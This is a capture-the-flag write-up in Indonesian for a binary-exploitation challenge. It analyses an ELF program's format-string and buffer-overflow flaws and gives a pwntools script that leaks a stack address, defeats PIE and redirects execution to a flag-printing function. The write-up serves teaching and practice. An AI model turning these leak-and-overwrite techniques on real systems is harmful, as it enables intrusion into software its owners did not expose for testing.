# Write-Up: Meow mi-miauuwwww

**Kategori:** Binary Exploitation
**Author:** Lyler
**Poin:** 100
**Solves:** 83 Solves

## Deskripsi
> Meow meow. me.. meow meowww. mi.. miauw mi mi, miauw miauwww. NYAAAAA!!!! nyanya. pur

**Koneksi:** `nc chall-ctf.ara-its.id 54317`
**Attachment:** `meow`

---

## Analisis & Reconnaissance

File attachment yang diberikan adalah executable ELF 64-bit. Langkah pertama yang dilakukan adalah memberikan *permission* execute pada file tersebut menggunakan perintah `chmod`.

Setelah melakukan dekompilasi menggunakan Ghidra, diketahui bahwa fungsi `main` akan memanggil fungsi `mi_miauw`. 

Terdapat dua celah keamanan utama pada fungsi `mi_miauw`:
1.  **Format String Vulnerability:** Terdapat perintah `printf(local_48)` yang tidak menggunakan *format specifier*. Celah ini dapat dimanfaatkan untuk melakukan *print* pada *address memory* (membocorkan memori).
2.  **Buffer Overflow:** Terdapat perintah `fgets(local_48, 0x100, stdin)`. Variabel `local_48` hanya dialokasikan sebesar 64 bytes, namun program mengizinkan input hingga melebihi batas tersebut (0x100).

Selain itu, ditemukan sebuah fungsi bernama `meow` yang bertugas untuk membaca dan mencetak isi dari file `flag.txt`. Namun, fungsi ini sama sekali tidak dipanggil dalam alur normal program.

---

## Langkah Eksploitasi

Berdasarkan temuan di atas, eksploitasi dapat dilakukan dengan langkah-langkah berikut:

1.  **Mendapatkan Leak Alamat:** Gunakan opsi 1 pada program untuk membocorkan alamat dari *stack*. Berdasarkan hasil analisis `objdump`, *return address* kembali ke fungsi `main` terletak pada posisi ke-17 di stack, sehingga kita dapat menggunakan *payload* `%17$p`.
2.  **Kalkulasi Base Address:** Kurangi alamat yang berhasil dibocorkan dengan *offset* `0x1417`. Offset ini merupakan posisi instruksi setelah pemanggilan `mi_miauw` di dalam fungsi `main`.
3.  **Kalkulasi Alamat Target:** Hitung alamat absolut untuk fungsi `meow` dengan cara menambahkan *base address* dengan *offset* `0x1249`.
4.  **Menyusun Payload (Buffer Overflow):**
    * **Padding:** Kirimkan 64 byte karakter sembarang untuk mengisi *buffer*, ditambah 8 byte untuk menimpa RBP. Total *padding* adalah 72 byte.
    * **Ret Gadget:** Tambahkan instruksi `ret` pada offset `0x101a` untuk menyelaraskan stack (*stack alignment*).
    * **Target Address:** Akhiri payload dengan menimpa *Return Instruction Pointer* (RIP) menggunakan alamat fungsi `meow` yang telah dikalkulasi.

---

## Solver Script

Berikut adalah *script* eksploitasi menggunakan Python (pwntools):

```python
from pwn import *

# Connection details
host = 'chall-ctf.ara-its.id'
port = 54317
context.arch = 'amd64'
io = remote(host, port)

# STEP 1: LEAK THE BINARY ADDRESS
io.sendlineafter(b"meow meow meow ^^: ", b"1")
# %17$p points to the return address (0x1417 offset from base)
io.sendlineafter(b"intip: )", b"%17$p")
io.recvuntil(b"Meow, ")
leaked_addr = int(io.recvline().strip(), 16)
log.info(f"Leaked Return Address: {hex(leaked_addr)}")

# STEP 2: CALCULATE BASE AND TARGETS
# 0x1417 is the instruction in main after calling mi_miauw
binary_base = leaked_addr - 0x1417
meow_addr = binary_base + 0x1249
ret_gadget = binary_base + 0x101a

log.info(f"Binary Base: {hex(binary_base)}")
log.info(f"Target meow: {hex(meow_addr)}")

# STEP 3: THE BUFFER OVERFLOW
io.sendlineafter(b"meow meow meow ^^: ", b"2")

# Payload structure:
# [64 bytes buffer] + [8 bytes saved RBP] + [ret gadget] + [meow function]
payload = b"A" * 72
payload += p64(ret_gadget) # Alignment fix
payload += p64(meow_addr)

io.sendlineafter(b"RUAAAAA!!!!)", payload)

# Interaction to read the flag
io.interactive()
```

## Flag
`ARA7{ada_seorang_pria_lokal_menikahi_pohon_saw17}`